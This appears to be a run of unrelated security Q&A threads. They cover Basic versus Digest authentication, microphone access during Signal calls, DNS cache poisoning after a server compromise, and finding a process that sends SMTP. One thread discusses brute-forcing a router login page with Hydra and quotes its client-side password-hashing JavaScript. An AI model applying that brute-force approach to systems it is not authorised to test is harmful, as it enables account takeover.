Basic authentication has a number of drawbacks, one of which is that the username and password are passed in the clear with every request.   This is clearly unsafe under HTTP, but is somewhat less vulnerable under HTTPS.   However, because the credentials are submitted with every request, it's still worse than any other method (including digest) that does not have this limitation.  The primary reason is that now every single request can be a target for cleartext credential theft, not just an initial login request.  In most systems, after login, the most an attacker can hope to retrieve is a session or authentication token.  With basic auth, any request is an opportunity to steal the user's password.  This is not ideal.

Digest auth is somewhat better in that it sends an MD5 digest of some various bits including the username, password, and a nonce (among other values) and not the cleartext credentials...A password cannot be extracted from a captured digest.

With HTTP authentication (in any form) you're also dependent on the client to provide the authentication user experience, which can have its own issues and so needs to be well tested with the clients you expect to be using your application.   IN the past, for instance, I've seen specific browsers fail to authenticate because of certain special characters in a password, for instance.  With application based authentication UX, you have control over this.  With HTTP auth, you do not.

Another attack (and its a very minor one) is that if you display user-generated, externally hosted content on your site, you open yourself up to very subtle 401 phishing attacks.  Since your users are used to the client's chrome for HTTP authentication, they won't necessarily notice if they get an authentication prompt on your site for a slightly different domain.  Depending on your application, this may not be a valid threat at all, but it's certainly something to consider if you go down the HTTP auth route.


Can Signal encrypted voice calls be listened into by other apps? Signal App (by Open Whisper) provides encrypted voice calls allowing two people to communicate via a data connection with secure encryption (assuming no MiTM attack).  Given that Signal App uses the microphone on the mobile devise (iPhone/Android) and many other apps may also have permission to access the mic, is there a potential for the call to be listened to by other apps?

Does Signal have any method for gaining exclusive access to the mic and excluding other apps from access it while making a call?  If yes, what is this mechanism?

At the moment

Currently, the best way is to kill apps in the background that have microphone permissions, which is a bit of an ugly hack, and if you do not kill the apps fast enough they will be able to record snippets of your call.

https://stackoverflow.com/questions/17467120/exclusive-access-to-the-microphone-in-android

In the future

Android P appears to fix this, by making apps in the background act as if the microphone is silent, along with several other sensors.

https://www.theverge.com/2018/3/7/17091104/android-p-prevents-apps-using-mic-camera-idle-background


Hydra - Attacking when login page encodes the username and password I needed to test how Hydra works, so I tried to attack my own wifi router. I set the user name as "user" and created a txt file containing 100 passwords including the "real" password.

I am unable to read the log in of the http request that contains the ^USER^ and ^PASS^ because it uses a hashing method and passes the request as an encoded string.

Here, is what I found:

3470a61d9cbb0b8d3a81749ef188169ce88ea5e727579b9bee86b7131b90a2693267e16b59cdbfeb8fc5cf3a886153c8e2322ba4e8626986a84f7d263aaa0aff79aa2a9635ac17392a9b5efbd49d454c527a58ca035fe608405335fc1ea8fc7c54a030140084cad9f7192d5a2b8c3bbc89531f5b3ec593d34e2a5c190f3a1494655fc23d0207c6418076eb76c9aeab24904030d9ff8259ae927fef25059adfe82a5164968bd1d903a8832dfee3052cb5773c42515a0493696422178ceabd0a48d34304c923d4a973c325ca06ea9dfb74054996b641a21456753ae9558e22ec1423b22837254d93894d7fb9523555632a60b027109806ff3a46ddbbc2aace930959ff334d29f3f4c4e6f1c20374eebb6015cb82894e709e438a8549f34b2886e13218dfb641a8f782f8a3e06a0d34f029972bdb3b1eba3bd42e4cbf82727c0088361e6e9a590dba9dbf3da6016d4af074aa42f9dc18ac3c438ac091d723f8412dbe2a9879c93d51a402a881e5ee9285d699a6d53afb16c0d56e76348061035766f875c318da1ab439610134a1b19be1fe79c3287fa803d1bca5e2a1c73f66b4aa704ec613d840d702fab77fdcc91a71d3150beee8c1b1b3efeaaa020295bb732f4e5bc701c726d9c611502fa0bbf9b4f211986207fe96fba09e07a4fe2ee908120aa36b7db9e1d2082f2c4fae091525bb766d5d41e6091565b30d119774942229.

Here is a screenshot;

And I inspected main.js file of that website, and realized that there are some  hashing methods used;

if(g_password_type == '4') {
psd = base64encode(SHA256(name + base64encode(SHA256($('#password').val())) + g_requestVerificationToken[0]));
} else {
psd = base64encode($('#password').val());
}

In such a case, how can we bruteforce the username and password?

Is there a way in hydra to point out "this" is the password field and "this" is the username text and test when "this" log in button is pressed?

As the code clearly indicates, the name, password, and verification token are hashed together before being sent over the network. So, no, you cannot figure out which is which just from the network data alone.

Hydra is not the tool that is going to work for you here. You need to come up with a way of sending psd with all that data formatted in the expected way (combined, hashed, and encoded).


Attack on authoritative DNS server with high TTLs The way DNS works, resolvers cache query results per TTL defined in the response. Consider an authoritative DNS server that is compromised, its main A record set to a different IP and TTL of that record set to something very high (like a month).

Is there any mechanism/process which would invalidate the cache of all those resolvers that cached the malicious record before the TTL expiry? Because without one, the website could be down for a month for some users regardless of how quickly the DNS record is reverted by the admins.

Also note that the attacker could access the target website from various locations around the world right after the attack in order to poison the cache of their respective resolvers.

No, AFAIK. If your authoritative DNS server has been compromised, even DNSSEC won't help you. This attack vector can be mitigated by securing your authoritative DNS servers to prevent the compromise in the first place.


How can I find the process that is trying to use smtp to send email? Previously I asked Who (which process) is calling curl? and I got very good answers (this answer in particular)
which basically replace the curl binary with a shell script that logs each call to curl and then calls the renamed curl and passes the parameters along.

Now I am again in a similar situation, I know if someone is using smtp, but I don't know which process it is?  I know that I use it in a cron job but I (by the alerts I receive from my firewall) some other times smtp tries to connect to the internet (google smtp servers if I am not mistaken).

How can I find out who/which process is using smtp?

I don't know if it works on MacOS, but on linux you can do:

$ sudo netstat -ntop

and get output like:

tcp        0      0 192.168.1.21:51150      10.5.4.3:443       ESTABLISHED 184/firefox    off (0.00/0/0)

The key part is the 184/firefox -- this is the PID and process name, respectively.

The trick would be catching this in action. If it happens regularly, you could run the command above in a loop and grep for the port you want to trap. Otherwise there may be some wizardry you can do with your firewall, but that's beyond my knowledge.